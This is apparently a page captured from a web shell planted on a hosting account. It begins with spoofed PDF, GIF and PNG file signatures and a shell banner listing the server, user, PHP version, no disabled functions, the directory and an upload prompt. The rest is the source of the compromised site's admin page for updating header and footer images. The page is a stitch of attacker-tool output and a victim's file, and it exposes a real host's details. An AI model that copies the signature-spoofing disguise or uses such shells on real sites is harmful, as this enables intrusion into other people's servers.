%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_6ca89795/admin/ |
Upload File : |
<?php
include('header.php');
?>
<?php
include('../dbcon.php');
if (isset($_GET['sid']) && is_numeric($_GET['sid'])) {
$sid = intval($_GET['sid']);
$sql = "SELECT * FROM `header_and_footer_images` WHERE `id`='$sid'";
$run = mysqli_query($conn, $sql);
if ($run && mysqli_num_rows($run) > 0) {
$updateabout = mysqli_fetch_assoc($run);
} else {
die("Invalid record ID or record not found.");
}
} else {
die("Invalid or missing record ID.");
}
?>
<div class="container">
<div class="title">Update Header and Footer Images</div>
<script src="ckeditor/ckeditor.js"></script>
<form action="headerandfooterupdatedata.php" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="simg">About Header Image</label>
<input type="file" name="abouthi" id="simg">
<img src="dataimg/<?php echo $updateabout['abouthi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">About footer Image</label>
<input type="file" name="aboutfi" id="image2">
<img src="dataimg/<?php echo $updateabout['abouthi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="simg">Service Header Image</label>
<input type="file" name="servicehi" id="simg">
<img src="dataimg/<?php echo $updateabout['servicehi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Service footer Image</label>
<input type="file" name="servicefi" id="image2">
<img src="dataimg/<?php echo $updateabout['servicefi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Service detail Header Image</label>
<input type="file" name="servicedhi" id="image2">
<img src="dataimg/<?php echo $updateabout['servicedhi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Service detail Footer Image</label>
<input type="file" name="servicedfi" id="image2">
<img src="dataimg/<?php echo $updateabout['servicedfi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="simg">Project Header Image</label>
<input type="file" name="prijecthi" id="simg">
<img src="dataimg/<?php echo $updateabout['projecthi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Project footer Image</label>
<input type="file" name="projectfi" id="image2">
<img src="dataimg/<?php echo $updateabout['projectfi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Project detail header Image</label>
<input type="file" name="projectdhi" id="image2">
<img src="dataimg/<?php echo $updateabout['projectdhi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Project detail footer Image</label>
<input type="file" name="projectdfi" id="image2">
<img src="dataimg/<?php echo $updateabout['projectdfi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Solution Header Image</label>
<input type="file" name="solutionhi" id="image2">
<img src="dataimg/<?php echo $updateabout['solutionhi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Solution footer Image</label>
<input type="file" name="solutionfi" id="image2">
<img src="dataimg/<?php echo $updateabout['solutionfi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Solution detail header Image</label>
<input type="file" name="solutiondhi" id="image2">
<img src="dataimg/<?php echo $updateabout['solutiondhi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Solution detail footer Image</label>
<input type="file" name="solutiondfi" id="image2">
<img src="dataimg/<?php echo $updateabout['solutiondfi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Domain Heder Image</label>
<input type="file" name="domainhi" id="image2">
<img src="dataimg/<?php echo $updateabout['domainhi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Domain footer Image</label>
<input type="file" name="domainfi" id="image2">
<img src="dataimg/<?php echo $updateabout['domainfi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Domain detail header Image</label>
<input type="file" name="domanidhi" id="image2">
<img src="dataimg/<?php echo $updateabout['domaindhi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Domain detail footer Image</label>
<input type="file" name="domanidfi" id="image2">
<img src="dataimg/<?php echo $updateabout['domaindfi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Blog Header Image</label>
<input type="file" name="bloghi" id="image2">
<img src="dataimg/<?php echo $updateabout['bloghi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Blog Footer Image</label>
<input type="file" name="blogfi" id="image2">
<img src="dataimg/<?php echo $updateabout['blogfi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Blog detail header Image</label>
<input type="file" name="blogdhi" id="image2">
<img src="dataimg/<?php echo $updateabout['blogdhi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Blog detail footer Image</label>
<input type="file" name="blogdfi" id="image2">
<img src="dataimg/<?php echo $updateabout['blogdhi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Ourt team detail Header Image</label>
<input type="file" name="ourteamdi" id="image2">
<img src="dataimg/<?php echo $updateabout['ourteamdhi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<div class="form-group">
<label for="image2">Ourt team detail Footer Image</label>
<input type="file" name="ourteamdfi" id="image2">
<img src="dataimg/<?php echo $updateabout['ourteamdfi']; ?>" style="max-height: 150px; max-width: 200px;" alt="About Header Image">
</div>
<button type="submit" name="submit" class="btn btn-primary">Submit</button>
<input type="hidden" name="sid" value="<?php echo $updateabout['id']; ?>">
</form>
<script>
CKEDITOR.replace('subtitle1');
</script>
</div>
<!-- / Content -->
<div class="content-backdrop fade"></div>
</div>
<!-- Content wrapper -->
</div>
<!-- / Layout page -->
</div>
</div>
<!-- / Layout wrapper -->
<!-- Core JS -->
<!-- build:js assets/vendor/js/core.js -->
<script src="../assets/vendor/libs/jquery/jquery.js"></script>
<script src="../assets/vendor/libs/popper/popper.js"></script>
<script src="../assets/vendor/js/bootstrap.js"></script>
<script src="../assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="../assets/vendor/js/menu.js"></script>
<!-- endbuild -->
<!-- Vendors JS -->
<!-- Main JS -->
<script src="../assets/js/main.js"></script>
<!-- Page JS -->
<!-- Place this tag in your head or just before your close body tag. -->
<script async defer src="https://buttons.github.io/buttons.js"></script>
</body>
</html>